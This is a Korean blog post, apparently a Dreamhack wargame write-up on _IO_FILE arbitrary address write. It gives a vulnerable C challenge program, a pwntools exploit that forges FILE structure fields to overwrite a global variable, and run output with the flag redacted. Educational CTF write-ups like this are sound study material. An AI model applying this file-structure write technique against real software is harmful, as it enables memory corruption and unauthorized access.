_IO_FILE Arbitrary Address Write

2022. 8. 16. 22:26·Wargame/Dreamhack
728x90
반응형

1. intro

2. code 및 분석

2.1  code

// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
        FILE *fp;
        fp = fopen("/home/iofile_aaw/flag", "r");
        fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

        write(1, flag_buf, sizeof(flag_buf));
        fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF) 
        read_flag();

  fclose(fp);
}

2.2 분석

이전 문제와 동일하고, 차이점은 전역변수인 overwrite_me 변수의 값이 0xDEADBEEF이면 read_flag 함수를 실행한다.

read_flag 함수는 flag 파일을 읽어 출력하는 함수이다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

이전 문제와 동일하게 파일 포인터의 값을 조작할 수 있다.

https://wyv3rn.tistory.com/112

 

_IO_FILE Arbitrary Address Write

원리 큰 틀은 _IO_FILE Arbitrary Address Read와 동일하다. https://wyv3rn.tistory.com/110 _IO_FILE Arbitrary Address Read 원리 여러개의 파일을 열지만 읽기 권한이 없는 경우, 예를 들어 관리자가 작성한..

wyv3rn.tistory.com

https://wyv3rn.tistory.com/110

 

_IO_FILE Arbitrary Address Read

원리 여러개의 파일을 열지만 읽기 권한이 없는 경우, 예를 들어 관리자가 작성한 암호 파일과 유저가 작성한 파일을 열어 그 내용을 비교한다고 가정할 때 관리자 파일에 읽기 권한이 없는 경

wyv3rn.tistory.com

3.2 공격 준비

마찬가지로 특별히 구할 값은 없다.

 

4. exploit

후다닥 페이로드를 작성해보자.

from pwn import *

p = remote('host3.dreamhack.games',8537)
#p = process('./iofile_aaw')
e = ELF('./iofile_aaw')

addr = e.symbols['overwrite_me']

pay = b''
pay += p64(0xfbad2488) #flags
pay += p64(0) #read ptr
pay += p64(0) #read end
pay += p64(0) #read base
pay += p64(0) #write base
pay += p64(0) #write ptr
pay += p64(0) #write end
pay += p64(addr) #buf base
pay += p64(addr+1024) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #marker
pay += p64(0) #chain
pay += p64(0) #fileno

p.sendlineafter('Data: ',pay)

payload = p64(0xdeadbeef) + b'\x00'*1024

p.sendline(payload)
p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[*] '/home/kali/Downloads/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
ᆳ\DH{----------#플래그는 삭제}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

iofile_aw  (0) 2022.08.17
Bypass IO_validate_vtable  (0) 2022.08.17
_IO_FILE Arbitrary Address Read  (0) 2022.08.16
send_sig  (0) 2022.08.16
SigReturn-Oriented Programming  (0) 2022.08.15
'Wargame/Dreamhack' 카테고리의 다른 글
  • iofile_aw
  • Bypass IO_validate_vtable
  • _IO_FILE Arbitrary Address Read
  • send_sig
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    hackerschool
    dreamhack
    CANARY
    phoenix
    Me
    root-me
    x86
    cryptohack
    lob
    root
    docker
    _IO_FILE
    heap
    libc
    RTL
    tcache
    ROOT ME
    pwnable.kr
    exploit education
    x64
    32bit
    FSB
    la ctf
    pwntools
    vtable
    Buffer Overflow
    rop
    BOF
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
_IO_FILE Arbitrary Address Write
상단으로

티스토리툴바